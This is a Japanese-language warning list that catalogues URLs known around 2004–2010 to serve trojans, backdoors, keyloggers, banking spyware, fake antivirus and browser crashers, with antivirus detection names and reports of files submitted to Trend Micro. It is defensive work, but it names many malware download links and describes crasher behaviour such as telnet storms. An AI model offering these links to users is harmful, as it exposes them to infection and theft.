Kaspersky Anti-Virus → ウィルス名：Trojan-PSW.Win32.VB.ex
mks_vir → ウィルス名：Trojan.Killfiles.U
VBA32 → ウィルス名：Win32.Trojan.KillFiles.u

http://menschannel.tv/showMovie.php?MV=503537&C=o02

[2005/05/02]

「chika.exe」というファイルが落ちてくる。ノートン、バスター共に無反応だが、a-squaredでスキャンするとウィルス名：Trojan.Win32KillFiles.uを検出。
実行すると、ワンクリ業者にメールアドレスを抜かれる。

http://merchant.directaccess.ro/videosecrt927.exe

[2008/12/28] ウィルス名：TROJ_ZLOB.FEM

http://mert-aluminyum.com/clas.exe

[2008/11/14] ウイルス名：BKDR_FLOOD.B

http://mert-aluminyum.com/reklam.exe

[2008/11/14] ウィルス名：BKDR_BIFROSE.ZN

http://mert-aluminyum.com/video.exe

[2008/11/14] ウィルス名：PE_JEEFO.A

http://mhnm777.hp.infoseek.co.jp/vks.html

[2005/02/26] 無限ループ。

http://micaelus.netfirms.com/my_fotos.exe

[2008/09/19] ウィルス名：TROJ_SRIZBI.M

http://michcom.cl/my_hots_video.exe

[2008/12/28] ウィルス名：TROJ_PANDEX.GV

http://midnightautopartskristinimages.blog.com/

[2008/11/22] 偽装ウィルス駆除ソフトのページに飛ぶ。

http://millenium-dance.com/resume.exe

[2008/09/19] ウィルス名：TROJ_SRIZBI.U

http://millenniummobilya.com/video857porn.exe

[2008/12/28] ウィルス名：TROJ_NUWAR.CSH

http://mingming.w100.west263.cn/love1.exe

[2007/01/04] ウィルス名：Possible_Lineage

http://minhasfotosfor.fileave.com/fotos.exe

[2008/09/19] ウィルス名：TROJ_BANLOAD.EQC

http://minhasfotosfor.fileave.com/resu.exe

[2008/09/19] ウィルス名：TROJ_BANKER.PDZ

http://mios.20m.com/

[2005/09/23]

以前はウィルス満載のサイト。現在は404 Error - File Not Foundになっている。
踏むとこんな感じの「File Not Found」のサイト。バスター無反応。
しかし、周囲のスクリーンセーバーをDLしろ、というバナー広告のリンク先を掘っていくとスパイウェアがあることが判明。
そのスパイウェアは ADW_GATOR.A で下のcabファイル。バスターで反応。
//dist.belnk.com/4/download/TR-34_trickler_6106.cab

http://miracleup.huu.cc/blog/

[2009/01/30] こんな感じのサイトだが、ウィルス名：HTML_IFRAME.AFB を検出。

http://mirror.servut.us/flash/4chan-f/H/Fearofgod.swf

[2009/03/29]	こんな感じのサイト。中央やや下よりの「PLAY」をクリックすると悪質なブラクラが始まる。クリックしなければ無害と思われる。音声付きで、画面が固まる場合がある。バスターは無反応であった。
[2009/03/29]	他の方の結果は以下の「」内。「踏んでみると黒人？の顔と共にウィンドウが次々と開き、その直後に Kaspersky がウイルス「Exploit.HTML.DialogArg」を検出。」

http://mirror.servut.us/flash/4chan-f/H/pokemonhentai.swf

[2008/09/11]

直踏みでは、こんな感じのフラッシュ画面を表示するが、挙動が怪しい。
何かを繰り返し実行しようとしているようで、以下のURLを２度開いてくる。しかし、404 であった。
//mirror.servut.us/flash/4chan-f/H/www.pokemon.com
ポップアップ表示を拒否していれば無事に済むと思われるが、ポップアップ表示を許可した途端、ブラクラの症状を発動するので注意。

[2008/09/11]

他の方の結果は以下の「」内。
「フラッシュが見れますがブラクラ的動作をして Kaspersky がトロイの木馬を遮断するので踏まない方がいいでしょう。」

http://missglobe-albania.com/adobe_flash.exe

[2008/09/20] ウィルス名：TROJ_NUWAR.GFZ

http://misslittle.offhost.info/data/alena15.04/OL.html
http://misslittle.offhost.info/data/ira8.05/OL.html
http://misslittle.offhost.info/data/ps-007a/OL.html

http://misslittle.offhost.info/data/ps-020a/OL.html

[2005/01/25]	画像にまぎれて危険URL：//xlola.ecstazy.info/ に接続している。
[2005/01/25]	踏むとアダルトサイトだが左上のほうにドットサイズの黒い点がある。この黒い点が //xlola.ecstazy.info/ をIFRAMEタグで呼び出している「点」。ちなみに //xlola.ecstazy.info/ 直踏みでは真っ白なページだがソースを見ると何かを実行する記述が書いてある。

http://mkz.unas.cz/pornotube/video54582.exe
http://mkz.unas.cz/pornotube/video76566.exe
http://mkz.unas.cz/pornotube/video1439654.exe
http://mkz.unas.cz/pornotube/video8657786.exe

[2008/12/28] ウィルス名：TROJ_FAKEAV.CK

http://ml.gentoo.gr.jp/misc/200410.month/228_2.scr

[2007/01/15] ウィルス名：WORM_BAGLE.GM

http://ml.postgresql.jp/pgsql-jp-old/pgsql-jp/2001Mar/bin00001.bin

[2005/04/17] ウィルス名：WORM_HYBRIS.B

http://mmm.media-motor.net/soft/default.exe

[2005/07/18] ウィルス名：TROJ_VB.DF

http://mobi.to/sh/dt/staho/mb-cgi3701-1.zip

[2005/03/30] ウィルス名：WORM_MABUTU.A

http://mobila.yard.ru/video7346.exe

[2008/12/28] ウィルス名：TROJ_DLOADR.JI

http://moguidage.h81.1stxy.net/t1moguidage.exe

[2006/06/03]

メモ帳のアイコンをしたexe。バスター無反応だが、以下のアンチウィルスソフトで反応。
AntiVir → TR/PSW.Lineage.WO
Avast → Win32:Trojano-3372
BitDefender → Dropped:Generic.Malware.FM.15F2C710
DrWeb → Trojan.PWS.Lineage
Ikarus → Backdoor.Win32.Rbot.AEU
McAfee → PWS-Lineage
NOD32v2 → a variant of Win32/PSW.Lineage.DN
VBA32 → suspected of Trojan-PSW.Lineage.3

http://momsporn.net/?ft=citylove.ru

[2005/04/13] ウィルス名：HTML_REDIR.A＋JAVA_BYTEVER.A＋JAVA_BYTEVER.K＋JAVA_BYTEVER.A-1

http://mona.of.pl/galeria.exe

[2006/09/19]

2006/09/12 にトレンドマイクロ社にファイルを提出。
今日、その結果の連絡があり、ウィルス名：DIAL_ERODIAL.OF として検出するよう対応、とのこと。
2006/09/12 にDLしたファイルからウィルス名：DIAL_ERODIAL.OF を検出することを確認。
また、今日改めて当該URLからDLしてみてもウィルス名：DIAL_ERODIAL.OF を検出することを確認。

http://monkeydoo.com/online/cool4.php

[2005/10/30] ウィルス名：JS_SPAWN.A

http://monoganac2.sakura.ne.jp/src/milktea13304.txt

[2007/01/12]	無限アラート。これを閉じても閉じても表示する。タスクの強制終了で脱出。
[2007/01/12]	他の方の結果は以下。「まず拡張子が偽造されています。この時点で怪しいです。拡張子は.htm です。実行すると「このスレ定期的に立つNE」の文字とAAがでます。ですが消す事ができませんのでタスクマネージャーから消しましょう。」

http://monomosu.kir.jp/cbbs1/file/1128099284.gif

[2005/10/01]

ウィルス名：VBS_PSYME.AN＋JS_INOR.AB＋JAVA_BYTEVER.A
gif画像ではなく、htmlスクリプト。閉じると以下の ① を新窓表示。
また、/1128099284.gif には別窓が１枚ある。そのURLは ② 。
//www.otsos.ru/cgi-bin/gc3/in.cgi?baas844&1　…①
//lol.to/add-gb.php?book=DAHH&action=new&pg=1　…②

http://montagemfotos.t35.com/flash09.cmd

[2008/08/29]

2008/08/22 にトレンドマイクロ社にファイルを提出。
今日、その結果の連絡があり、ウィルス名：TSPY_BANCOS.ATF として検出するよう対応、とのこと。
実際に 2008/08/22 にDLしたファイルと、今日改めてDLしたファイルからウィルス名：TSPY_BANCOS.ATF を検出することを確認。
2008/08/22 から今日までのファイルの置き換えは無いと推測される。

http://moo.ru/temp/kane.jpg

[2005/11/30]	ウィルス名：HTML_CRINET.A 。microsoftに繋ぐtelnetが大量に開く。
[2005/12/03]	ノートンでは、ウィルス名：HacktoolDoS を検出するらしい。
[2006/01/21]	他の方の結果は「トロイの木馬：VBS/DDoS-iFrameNet。telnet を開きに行きます。攻撃先はmicrosoft.com (??) 」
[2006/02/12]	「KingsoftAntiVirus2006 では Risk,Exploit,wmf が検出されました。」
[2006/04/18]	「VB2005反応アリ。有害。HTML_CRINET.A 詳細は実行されると、IFRAMESを用いて大量のTelnetを開き、Webサイトに接続します。これによりシステムリソースを消費し、ネットワークの通信速度を低下させる場合があります。」
[2006/05/02]	「Trojan.VBS.IFrame 検出のtelnetストームのブラクラでした。」
[2006/05/02]	「当方のKAV5(カスペルスキー・アンチウイルス5)が Trojan.VBS.IFrame 反応を起こしました。 TELNETストームのブラウザクラッシャーです。ご注意。」
[2010/03/29]	再確認。ウィルス名：HTML_CRINET.A
[2010/03/29]	他の方の結果は以下の「」内。「不正コード・VBS/DDoS-iFrameNet検出しました。」「Telnetストームというブラクラの一種です。 Telnetのコマンドプロンプト画面を同時に大量に開き、CPUやメモリのリソースがこれによって大量消費され、PCがフリーズしてしまいます。現在一般のPCで Telnet 接続は通常使用しないので、PCに重大なエラーやダメージを残すことはないと思います。」

http://more-pages.com/freepics.html

[2005/03/22] 真っ白なページだが環境により、/freepics.jarを実行される。

http://more-pages.com/freepics.jar

[2005/03/22] freepics.jarなる名のJARファイルが落ちてくるが、ウィルス名：JAVA_BYTEVER.Aを検出。

http://morelolita.offhost.info/

[2004/11/16] ウィルス名：JAVA_BYTEVER.A。SPYBOT反応：XXXToolbar。

http://morelolitas.awmhost.info/

[2005/04/09] ウィルス名：JAVA_BYTEVER.A

http://moreporn.biz/new/index.php

[2004/08/08]	//171203.com/java0/classload.jarが実行されるが、これがウィルス名：JAVA_BYTEVER.A。他にVBScriptやexeの実行も有り。
[2004/10/03]	現在は //www.coolsearch.biz/royal.htm に飛ぶ。
[2005/02/21]	現在はウィルス反応無しの検索サイトを表示。

http://moreteenporn.com/

[2005/03/12] 海外アダルトサイトだがウィルス名：JAVA_BYTEVER.A を検出。
これは //69.50.191.68/eb/be/count.html を読み込むため。

http://moreteenporn.com/#/gallerys/virtual-und-wife.jpg

[2005/07/16] jpg画像では無く、海外アダルトサイトで、ウィルス名：JAVA_BYTEVER.A を検出。

http://moreteenporn.com/?immoral-sex.jpg

[2005/07/02] jpg画像では無く、海外アダルトサイト。
ウィルス名：TROJ_ANICMOO.F＋JAVA_BYTEVER.A
特にTROJ_ANICMOO.Fは連発して検出。

http://moreteenporn.com/?pornnimbus.com

[2005/06/03] ウィルス名：TROJ_ANICMOO.F

http://morgen.cc/index.php?aid=579

[2004/05/04] 環境によりスパイウェアの可能性。

http://morisako.web.infoseek.co.jp/cgi-bin/imgboard.cgi

[2005/07/29]

ウィルス名：Trojan Horse＋Downloader.Trojan [ ノートン ]
ウィルス名：JS_MHTREDIR.P＋JAVA_BYTEVER.A [ ウィルスバスター ]
画像掲示板だが、悪意ある投稿者により、ウィルス憑きURLを呼び出す書き込みがしてある。
この画像掲示板を閉じるとバスターがウィルス名：TROJ_ANICMOO.E を検出。

http://morwillsearch.com/mwsbar.php?adv_id=37563

[2005/06/10]

ウィルス名：SPYW_MORWILBAR.A
真っ白なページだが、このセキュリティ警告を表示。
「いいえ」を選択すれば無問題。「はい」を選択すると下のcabファイルを落とされる。
//morwillsearch.com/mwsearch.cab

http://morwillsearch.com/mwsearch.cab

[2005/06/10] 「mwsearch.dll」が２つ入っているが、ウィルス名：SPYW_MORWILBAR.A を検出。

http://motorpost.com/pornivideo03y45i.exe

[2009/01/24] ウィルス名：TROJ_DLDR.AK として対応済。

http://movie.vaginator.com/index.php?vaginator.com

[2005/07/31] ウィルス名：JAVA_BYTEVER.A

http://movie-ch.com/

[2005/04/23]

踏むと日本語のアダルトサイト。ここまで無害。動画がDLできるようだが、サムネイルをクリックすると「 movieCh.exe 」なるファイルがDLできる。
ewido でスキャンするとウィルス名：Trojan.KillFiles.u を検出。
また、以下のアンチウィルスソフトでもウィルスが検出された。ちなみにバスターは無反応。
mks_vir → ウィルス名：Trojan.Killfiles.U
VBA32 → ウィルス名：Win32.Trojan.KillFiles.u

http://movie-ch.com/showMovie.php?C=none&MV=503528

[2005/05/02]

「movieCh.exe」というファイルが落ちてくる。ノートン、バスター共に無反応だが、a-squaredでスキャンするとウィルス名：Trojan.Win32KillFiles.uを検出。実行すると、ワンクリ業者にメールアドレスを抜かれる。

http://movie-fine.com/mLoad.php?mnum=503507.wmv

[2005/10/11]	「fileMovies07532111102005.exe」という名のアプリケーションが落ちてくる。バスター無反応だが、以下のアンチウィルスソフトで反応。 AntiVir → Trojan/Drop.HSP.a.1.A ArcaVir → Trojan.Killfiles.U ClamAV → Trojan.W32.Msbook F-Prot → dropper for W32/Trojan.YX Fortinet → Adware/HSP Kaspersky → Trojan-Clicker.Win32.HSP.a Norman Virus Control → W32/Agent.GBJ
[2005/10/11]	他の方の結果は以下。「最終的にエロ動画が見れて、ノートンには引っかからなかったが、落としたファイルがexe形式だったり、いろいろあやしい。」
[2005/10/21]	再確認。wmv動画ではなく、「fineMovies34370821102005.exe」が落ちてくる。このexeにバスターがウィルス名：TROJ_CLICKER.DAを検出。 [2005/10/11]時にはバスター無反応だったが、10/11から今日までのパターンファイル更新のどれかによるものと思われる。
[2005/11/03]	再確認。動画ではなく、「fineMovies27172302112005.exe」というアプリケーションが落ちてくる。 DLの途中でバスター反応。ウィルス名：TROJ_CLICKER.DA
[2006/01/15]	他の方の結果では「ウイルス反応あり。Trojan-Clicker.Win32.HSP.a 検出。」
[2006/01/20]	他の方の結果では「Win32:Trojan-gen. {VC}というウイルスを検出(avast!)。ダウンロードしようとしたら.wmvではなく.exeでした。」
[2006/03/29]	「動画も見れる。15秒程度のリゾード地の海岸と夕焼けの風景だがそれを見てる途中にこっそりexeファイルをダウンロードされる。そのexeからは TROJ_CLICKER.DA 反応がある。名前から察するに、おそらくQ2か国際電話用の、高額な料金を請求されるダイアラツールだろう。」
[2006/05/02]	「何故かexeファイルが途中でDLされ、そのexeからは当方のKAV5でTrojan-Clicker.Win32.HSP.a反応がありました。」
[2006/05/02]	「Kaspersky反応あり。Trojan-Spy.Win32.VB.ib 検出。」

http://movies-codecs.com/download/movies-codecs1005.exe

[2007/01/12]

2007/01/09 にトレンドマイクロ社にファイルを提出。
今日、その結果の連絡があり、ウィルス名：TROJ_ZLOB.DPZ として検出するよう対応、とのこと。
実際に 2007/01/09 にDLしたファイルからウィルス名：TROJ_ZLOB.DPZ を検出することを確認。
しかし、今日改めて当該URLを調べてみるとバスター無反応。
2007/01/09 から今日までの間にファイルが置き換えられたと推測される。

http://moviecodecs.net/download/moviecodecs1265.exe

[2007/05/28] ウィルス名：TROJ_ZLOB.CHK

http://moviesdvds.net/download/moviesdvds1005.exe

[2007/04/16] ウィルス名：TROJ_ZLOB.CWA

http://moviexzone.xhostar.com/

[2006/01/20]

海外アダルトサイトだが、ウィルス名：TROJ_ANICMOO.X を検出。
ソースを見るとIFRAMEタグで //game4all.biz/adv/111/ を呼び出している。
閉じると //search.drweb.bz/search?qq=sex の検索結果ページを表示。

http://mscracks.com/get.php?id=919305

[2004/02/05] ウィルス名：TROJ_ISTBAR.K

http://msmn.com/

[2005/04/29] ウィルス名：JS_PSYME.AF 。//www.googkle.com/ と同じ現象が起きる。詳細は //www.gookle.com/ のURL解説を参照。

[2005/06/16] 404を確認。

http://msn1.com/

[2005/04/29]

ウィルス名：JS_PSYME.AF 。アンチドートでもウィルス検出するらしい。
//www.googkle.com/ とほぼ同じだが、ウィルス検出窓を閉じるとこのセキュリティ警告を表示。ActiveX で何かしかけてくる。

http://mstdump.net/files/531_u2pej/Arabes.exe

[2007/05/20]

2007/02/19 にトレンドマイクロ社にファイルを提出。
2007/02/21 にその結果の連絡があり、ウィルス名：DIAL_BAUN.A として検出するよう対応、とのこと。
2007/02/19 にDLしたファイルが手元に無いため、実際に検出対応したかどうかは未確認。
しかも、今日改めて当該URLを確認してみると、404 になっていた。

http://msxsecurity.com/blah.html

[2005/11/17]

踏むとこんな感じのサイトだが、別窓が９枚あり、ブラクラ並に開く。何回確認しても９枚であった。
しかし、その９枚の別窓は、広告であったり、スクリーンセーバー勧誘であったりする。

http://mt-download.com/MediaTicketsInstaller.cab

[2006/09/15]

2006/09/11 にトレンドマイクロ社にDL＋解凍して現れた「MediaTicketsInstaller.ocx」ファイルを提出。
今日、その結果の連絡があり、ウィルス名：ADW_MEDTICK.A として検出するよう対応した、とのこと。
2006/09/11 にDLしたファイルからウィルス名：ADW_MEDTICK.A を検出することを確認。
また、今日改めて当該URLからDLしてみてもウィルス名：ADW_MEDTICK.A を検出することを確認。

http://mt124.mtree.com/xtarc/538604/219/7

[2004/12/03] 洋エロサイトに行くが閉じるとspywareblasterの制限サイトを開こうとしてくる。
その制限サイトは//porn.mtree.com/streamate/index2.html

http://multi.byulcom.com/queen/uID.dll

[2007/05/19]

2007/01/04 にトレンドマイクロ社にファイルを提出。
2007/01/15 にその結果の連絡があり、ウィルス名：TROJ_Generic として検出するよう対応、とのこと。
実際に 2007/01/04 にDLしたファイルと、今日改めてDLしたファイルからウィルス名：TROJ_Generic を検出することを確認。
2007/01/04 から今日までのファイルの置き換えは無いと推測される。

http://multi.byulcom.com/queen/update_uid.exe

[2007/05/19]

http://multi.byulcom.com/unic/backup061113/uID.dll

[2007/05/19]

2007/01/17 にトレンドマイクロ社にファイルを提出。
2007/01/22 にその結果の連絡があり、ウィルス名：TROJ_Generic として検出するよう対応、とのこと。
実際に 2007/01/17 にDLしたファイルと、今日改めてDLしたファイルからウィルス名：TROJ_Generic を検出することを確認。
2007/01/17 から今日までのファイルの置き換えは無いと推測される。

http://multi.byulcom.com/unic/backup061113/update_uid.exe

[2007/01/22]

2007/01/17 にトレンドマイクロ社にファイルを提出。
今日、その結果の連絡があり、ウィルス名：TROJ_DLOADER.GST として検出するよう対応、とのこと。
実際に 2007/01/17 にDLしたファイルと今日改めてDLしたファイルからウィルス名：TROJ_DLOADER.GST を検出することを確認。
007/01/17 から今日まではファイルの置き換えは無いと推測される。

http://multi.byulcom.com/unic/uID.dll

[2007/01/22]

2007/01/17 にトレンドマイクロ社にファイルを提出。
今日、その結果の連絡があり、ウィルス名：TROJ_DLOADER.GSU として検出するよう対応、とのこと。
実際に 2007/01/17 にDLしたファイルと今日改めてDLしたファイルからウィルス名：TROJ_DLOADER.GSU を検出することを確認。
2007/01/17 から今日まではファイルの置き換えは無いと推測される。

http://multi.byulcom.com/unic/update_uid.exe

[2007/01/22]

2007/01/17 にトレンドマイクロ社にファイルを提出。
今日、その結果の連絡があり、ウィルス名：TROJ_DLOADER.GSV として検出するよう対応、とのこと。
実際に 007/01/17 にDLしたファイルと今日改めてDLしたファイルからウィルス名：TROJ_DLOADER.GSV を検出することを確認。
007/01/17 から今日まではファイルの置き換えは無いと推測される。

http://multi-med.za.pl/.../video-nude-anjelia.avi.exe

[2008/09/21] ウィルス名：TROJ_AGENT.ALWK

http://mumu.8ycn.com/bb2.exe

[2005/12/03]

ファイルサイズ：41.7KB。DLまでバスター無反応。
メモ帳のアイコンをしたアプリケーションで、「リネージュ」というPCゲームに関するものらしい。
以下のアンチウィルスソフトで反応。
ArcaVir → Win32
BitDefender → BehavesLike:Win32.AV-Killer
Dr.Web → Trojan.PWS.Lineage
NOD32 → a variant of Win32/PSW.Lineage

http://munimoni.angelcities.com/

[2006/07/19] ブラクラ。mailto画面やTELNET画面、メディアプレーヤー等が次々と立ち上がる。

http://muranga.es/pornotube/video54582.exe
http://muranga.es/pornotube/video76566.exe
http://muranga.es/pornotube/video1439654.exe
http://muranga.es/pornotube/video8657786.exe

[2008/12/28] ウィルス名：TROJ_DLOAD.DN

http://muratonur.com/1/6244.exe

[2009/12/20] ファイルサイズ：16.5 KB 。ウィルス名：TROJ_DROPPER.APJ

http://muratonur.com/1/jpssoft.exe

[2009/12/20] ファイルサイズ：56.5 KB 。ウィルス名：TROJ_DROPPER.JIJ

http://muratonur.com/1/nfr.exe

[2009/12/20] ファイルサイズ：16.0 KB 。ウィルス名：WORM_KOOBFACE.EM

http://musah.info/adsldpbj.dll

[2006/09/19] ウィルス名：TROJ_CWS.AL

http://musah.info/st3.dll

[2006/09/19] ウィルス名：TROJ_DLOADER.APL

http://muscadins-frontignan.com/my_fotos.exe

[2008/09/21] ウィルス名：TROJ_SRIZBI.M

http://music2000.eu/videosecrt927.exe

[2008/12/28] ウィルス名：TROJ_NUWAR.CYA

http://musichouseworld.info/in.cgi?default

[2008/10/26] ソースを見ると、１秒後に以下のURLに飛ぶようになっている。確認すると、実際に以下のURLに飛んだ。
//72.232.11.210/~vladiman/img/index.php

http://musicoffaith.aavalue.com/mof/toolbar/mof-toolbar.cab

[2008/11/15] DL＋解凍すると、２つのファイルが現れるが、そのうちの「mof-package.exe」ファイルからウィルス名：Adware_BHOT_MusicOfFaith を検出。

http://musiquote.it/tvideo_my_hot.exe

[2008/12/28] ウィルス名：TROJ_FAKEALER.EY

http://musroise.myzen.co.uk/oil-and-gas-jobs-in-canada.html

[2006/04/13]

他の方の結果は以下の「」内。
「MS06-001 WMF Exploit と Win32:Trojano-M [Trj] を検出。
「Listen Dude ! I want you to　Press and hold keyboard button ENTER. 300.」というダイアログが出ますが押しても延々と出続けるので押しても意味は無いです。」

http://mvt.c4.fr/a.css

[2009/07/05] ファイルサイズ：26.3 KB 。ウィルス名：CRYP_MANGLED

http://mx.geocities.com/guerrilla_net_mx/bionet318.zip

[2005/12/14] ウィルス名：BKDR_BN.311.EDS＋BKDR_BIONET.310＋BKDR_BIONET.311

http://mx.geocities.com/guerrilla_net_mx/Bo2k.zip

[2005/12/14] ウィルス名：BKDR_BO2K.10

http://mx.geocities.com/guerrilla_net_mx/Firecracker.zip

[2005/12/14] ウィルス名：TROJ_RUX.A

http://mx.geocities.com/guerrilla_net_mx/gcinet.zip

[2005/12/14] ウィルス名：TROJ_BIONET.84＋BKDR_BIONET.84B

http://mx.geocities.com/sr_speedy69/Cancer.zip

[2005/04/17] ウィルス名：PIXEL.740

http://mx.geocities.com/sr_speedy69/CHOKE.zip

[2005/04/17] ウィルス名：WORM_CHOKE.A

http://mx.geocities.com/sr_speedy69/mtx.zip

[2005/04/17] ウィルス名：PE_Mtx.A

http://mx.ynjsj.com/douga/stream/34sd6rtey6.wmv.zip

[2008/07/28]

DL＋解凍すると「34sd6rtey6.wmv.exe」なるファイルが現れる。２重拡張子である。
2008/07/16 にトレンドマイクロ社にファイルを提出。
今日、その結果の連絡があり、ウイルスパターンファイル [5.415.00] にてウィルス名：BKDR_HUPIGON.SDX として検出するよう対応した、とのこと。
2008/07/16 にDLしたファイルからウィルス名：BKDR_HUPIGON.SDX を検出することを確認。
また、今日改めて当該URLからDLしてみてもウィルス名：BKDR_HUPIGON.SDX を検出することを確認。
2008/07/16 から今日まではファイルは置き換えられていない、と推測される。

http://mx.ynjsj.com/douga/stream/81164504923456f.wmv.zip

[2008/07/28]

以下の他の方の結果を参照。
「ダウンロードしたファイルから、ウイルス名：Win32:Agent-AAPM を Avast が発見しました。」
「落してみると Kaspersky がウイルス名：Trojan.Win32.Inject.dzc を検出。」

http://mxviewworldmy1.com/download/1/1000/5/Setup.exe

[2009/05/18] ファイルサイズ：15.0 KB 。ウィルス名：PAK_GENERIC.001

http://my.2ch2.net/ddd/
http://my.2ch2.net/ddd/main.htm

[2005/01/17] FRAMEタグを使い、//www2.strangeworld.org/uedakana/sahra6138.jpg を呼ぶ。

http://my.51robot.info/mms.exe

[2009/12/20] ファイルサイズ：56.5 KB 。多くのウィルス駆除ソフトで反応がある。高い確率で不正なプログラムと思われる。

http://my.dreamwiz.com/hirotr/pds.htm

[2004/08/22]

以下の2chでの結果を参照のこと。
ハングルで書かれたページへ行く。虹絵が数点置いてあり、DLできるようだが、ソースチェッカーによると「HTML.Redlof.A」発見だが、IE直踏みではウィルス無反応。
エキサイトでページ丸ごと翻訳するとノートン先生大激怒、VBS.Redlof.A を検出。
DLして解凍したところ、ゲームのインストールができるが、インストールしてもゲームは起動せず。
また、DLすると画面の色がおかしくなる、との報告もあり。注意。

http://my-best-tube-host.com/promo1/get.php?wmid=301

[2008/11/10]

直踏みだと「install.exe」なるファイルが落ちてくる。
以下の2chでの結果を参照のこと。
「インストーラーをDL、実行してみると C:\Program Files に怪しげなフォルダと内容を生成。
中身を実行すると、なにやらボイスが聞こえて、(IEの)テンポラリファイルをスキャンし始めます。
ほぼ全てを問題有りとし、FIX nowを押すと削除し始めるようです。
無理矢理切って、その後同時に生成されたアンインストーラを起動すると一瞬のうちに消えました。
ウィルススキャンソフトというより、クリーナーソフト？なんにしても怪しげなので回避推奨。」

http://myblog.tretoday.net/albertaauprey

[2009/08/14]

こんな感じのページを表示するが、すぐに別の海外アダルトサイトに飛ぶ。
稀に違う海外アダルトサイトに飛ぶ。
ここまでバスター無反応だが、他の方の結果では、アンチウイルスソフトが IFrame-GR 他多数の警告を出すこともあるらしい。

http://myitrescuer.com/pgroup/favicon_addons/addons/clipe.exe
http://myitrescuer.com/pgroup/favicon_addons/addons/Esclarecimento.exe
http://myitrescuer.com/pgroup/favicon_addons/addons/IRPF2007.exe
http://myitrescuer.com/pgroup/favicon_addons/addons/Receita.exe
http://myitrescuer.com/pgroup/favicon_addons/addons/SuporteLiveMail.exe

[2008/09/21] ウィルス名：TSPY_BANKER.MIR

http://myitrescuer.com/pgroup/favicon_addons/addons/winnupdate.exe

[2008/09/21] ウィルス名：TSPY_BANKER.LCZ

http://mykeylogger.com/keylogger-download/advanced_keylogger.exe

[2005/12/10] ウィルス名：SPYW_ADVKEYLOG.C

http://mynaplesflcondo.com/My_foto.exe

[2009/12/20] ファイルサイズ：249 KB 。ウィルス名：TROJ_SRIZBI.P

http://mynetprotector.com/antispy/software/MNPASSetup_cb02.exe

[2006/10/03]

2006/09/17 にトレンドマイクロ社にファイルを提出。
今日、その結果の連絡があり、ウィルス名：TROJ_DROPPER.CAC として検出するよう対応、とのこと。
2006/09/17 にDLしたファイルからウィルス名：TROJ_DROPPER.CAC を検出することを確認。
また、今日改めて当該URLからDLしてみてもウィルス名：TROJ_DROPPER.CAC を検出することを確認。

[2006/10/03]

他の方の結果は以下の「」内。
「単体では無反応でしたが、バラして Kaspersky/AOL で試験すると Trojan-Dropper.Win32.Agent.yd を内包しているようです。」

http://mypage.naver.co.jp/tostemer/sample/endless.html

[2004/12/04] 無限JavaScript。FDDアタック。//mypage.naver.co.jp/tostemer/sample/infinity_roop.htmlに飛ぶ。

http://mypage.naver.co.jp/tostemer/sample/infinity_roop.html

[2004/12/04] 無限JavaScript。FDDアタック。

http://myspacy.biz/viewimage.php?=barusamiko-burage@live.jp

[2009/01/24]

2009/01/18 の時点では「IMG455.jpg-www.photo.com」という名前のMS-DOSアプリケーションファイルが落ちてきた。
このファイルについてはウィルス名：TROJ_DLDR.AJ として対応済にしてもらったが、今日改めて当該URLを確認してみると 404 になっていた。

http://mysurfway.net/dext.php?ext=ie

[2008/08/14]

「mysurfway-ie.reg」というレジストリファイルが落ちてくる。
バスター無反応だが、Kaspersky で not-a-virus:AdWare.WinREG.Surf.a を検出。
このファイルを実行するとIEの右クリックメニューに //mysurfway.net/ie.html を追加するらしい。

http://mytag.gwebspace.de/maytag-110-volt-clothes-dryers.html

[2008/10/06] 偽装セキュリティサイト。バスター無反応だが、 Kaspersky で Trojan-Downloader.JS.Agent.rn を検出するらしい。

http://mywebpage.netscape.com/fullalbumsplugin/full_albums.exe

[2007/03/07]

2006/10/15 にトレンドマイクロ社にファイルを提出。
2006/10/27 にその結果の連絡があり、ウィルス名：TROJ_Generic として検出するよう対応、とのこと。
実際に 2006/10/15 にDLしたファイルからウィルス名：TROJ_Generic を検出することを確認。
しかし、今日改めて当該URLを見てみると404であった。

[2008/10/04]	ウィルス名：ADW_CINMUS
[2008/12/15]	再確認。ウィルス名：CRYP_NAIX-6＋HEURSPY_CINMUS

[2004/10/09]	無限JavaScript。
[2006/03/24]	再確認。無限ウィンドウオープン。タスクの強制終了で脱出可。

[2004/02/15]	無限JavaScript。
[2006/02/22]	再確認。踏むとこのウィンドウが次々と開いていく。タスクの強制終了で脱出可。

[2005/04/29]	ウィルス名：JS_PSYME.AF 。//www.googkle.com/ と同じ現象が起きる。詳細は //www.gookle.com/ のURL解説を参照。
[2005/06/16]	404を確認。